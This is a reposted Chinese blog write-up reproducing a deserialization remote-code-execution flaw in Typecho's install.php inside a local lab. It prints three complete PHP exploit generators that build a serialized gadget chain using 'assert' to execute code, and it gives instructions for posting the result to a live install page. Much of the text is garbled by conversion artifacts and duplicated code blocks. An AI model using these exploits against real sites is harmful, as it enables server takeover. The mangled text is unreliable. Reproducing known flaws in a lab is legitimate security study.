Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化導(dǎo)致前臺(tái) getshell 漏洞復(fù)現(xiàn)
?
漏洞描述:
Typecho是一款快速建博客的程序,外觀簡(jiǎn)潔,應(yīng)用廣泛。這次的漏洞通過(guò)install.php安裝程序頁(yè)面的反序列化函數(shù),造成了命令執(zhí)行。
?
影響范圍:理論上這個(gè)漏洞影響Typecho 1.1(15.5.12)之前的版本
?
首先我還是記錄一下敏感目錄
http://127.0.0.1/typecho0.9/install.php
http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin
http://127.0.0.1/typecho0.9/admin/welcome.php
?
使用環(huán)境:
Phpstudy+win7虛擬機(jī)
Typecho_v1.0.14.tar.gz??? https://pan.baidu.com/s/1jHQBKFk ? ?? (在里面找相應(yīng)的名字)
?
漏洞成因:
Freebuf上的文章說(shuō)的很清楚了,有兩個(gè)需要理解的點(diǎn):
第一個(gè)是__toString()魔法方法,在/install.php
__toString() //把類當(dāng)作字符串使用時(shí)觸發(fā)
?
這塊利用Typecho_Db函數(shù),跟進(jìn)這個(gè)函數(shù),/var/Typecho/Db.php,發(fā)現(xiàn)$adapterName定義的時(shí)候拼接了一個(gè)字符串,根據(jù)文章作者說(shuō),PHP是弱類型的語(yǔ)言,把一個(gè)字符串和一個(gè)類拼接的時(shí)候,會(huì)強(qiáng)制把類轉(zhuǎn)換成字符串,所以就會(huì)觸發(fā)傳進(jìn)來(lái)的這個(gè)類的toString方法。
第二個(gè)是__get()魔法方法,
__get() //用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)
這塊設(shè)置author由screenName確定,如果在類里面加上這個(gè)方法,我們給$item['author']設(shè)置的類中沒有screenName私有屬性就會(huì)執(zhí)行該類的__get()方法。
通過(guò)__get()函數(shù)返回_applyFilter($value),將可執(zhí)行代碼賦值給$value觸發(fā)漏洞。
?
?
漏洞復(fù)現(xiàn)過(guò)程:
?
這個(gè)漏洞復(fù)現(xiàn)就有一點(diǎn)坎坷了,起初我發(fā)現(xiàn)typecho里面有歷史版本的下載,于是下載了一個(gè)0.9版本的,可是多次嘗試仍以失敗告終,后來(lái)在對(duì)比漏洞原理的時(shí)候,發(fā)現(xiàn)與存在漏洞的版本有出入,難不成歷史版本作者也一直在更新。。。好吧,上網(wǎng)找了一個(gè)第三方的下了一個(gè)1.0.14,在報(bào)錯(cuò)的情況下完成了復(fù)現(xiàn)。
?
建站就不多說(shuō)了,直接安裝沒有問(wèn)題。安裝成功如圖
?
?
http://www.freebuf.com/vuls/152058.html
這位大牛漏洞原理講的特別詳細(xì),建議看看。
反序列化漏洞要利用勢(shì)必離不開魔術(shù)方法,作者收集的和PHP反序列化有關(guān)的PHP函數(shù): __wakeup() //使用unserialize時(shí)觸發(fā) __sleep() //使用serialize時(shí)觸發(fā) __destruct() //對(duì)象被銷毀時(shí)觸發(fā) __call() //在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __callStatic() //在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __get() //用于從不可訪問(wèn)的屬性讀取數(shù)據(jù) __set() //用于將數(shù)據(jù)寫入不可訪問(wèn)的屬性 __isset() //在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā) __unset() //在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā) __toString() //把類當(dāng)作字符串使用時(shí)觸發(fā) __invoke() //當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)?
Freebuf版EXP?? http://www.freebuf.com/vuls/152058.html
?
<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp)); ?> View Code?
knownsec版EXP? https://paper.seebug.org/424/
?
<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp));knownsec版EXP https://paper.seebug.org/424/ <?php class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){// $this->_params['screenName'] = 'whoami';$this->_params['screenName'] = -1;$this->_filter[0] = 'phpinfo';} }class Typecho_Feed {const RSS2 = 'RSS 2.0';/** 定義ATOM 1.0類型 */const ATOM1 = 'ATOM 1.0';/** 定義RSS時(shí)間格式 */const DATE_RFC822 = 'r';/** 定義ATOM時(shí)間格式 */const DATE_W3CDTF = 'c';/** 定義行結(jié)束符 */const EOL = "\n";private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = self::RSS2;$item['link'] = '1';$item['title'] = '2';$item['date'] = 1507720298;$item['author'] = new Typecho_Request();$item['category'] = array(new Typecho_Request());$this->_items[0] = $item;} }$x = new Typecho_Feed(); $a = array('host' => 'localhost','user' => 'xxxxxx','charset' => 'utf8','port' => '3306','database' => 'typecho','adapter' => $x,'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($a))); ?> View Code?
360安全客版EXP? http://bobao.360.cn/learning/detail/4610.html
?
<?php class Typecho_Request {private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');private $_filter = array('assert'); } $payload1 = new Typecho_Request(); class Typecho_Feed {private $_type = 'RSS 2.0';private $_items;public function __construct($x1){$this->_items[] = array('author'=>$x1);} } $payload2 = new Typecho_Feed($payload1); $exp['adapter'] = $payload2; $exp['prefix'] = 'c1tas'; echo base64_encode(serialize($exp)); ?> View Code?
用post提交數(shù)據(jù)
url:http://192.168.198.128/Typecho1.0/install.php?finish=
Postdata:__typecho_config=前面腳本生成的
Referrer:http://192.168.198.128/Typecho1.0/
?
另一種方式是通過(guò)cookie提交
?
?
轉(zhuǎn)載于:https://www.cnblogs.com/zhaijiahui/p/7763804.html
總結(jié)
以上是生活随笔為你收集整理的Typecho反序列化导致前台 getshell 漏洞复现的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【20171031早】sqli-libs
- 下一篇: 团队-手机便签-开发文档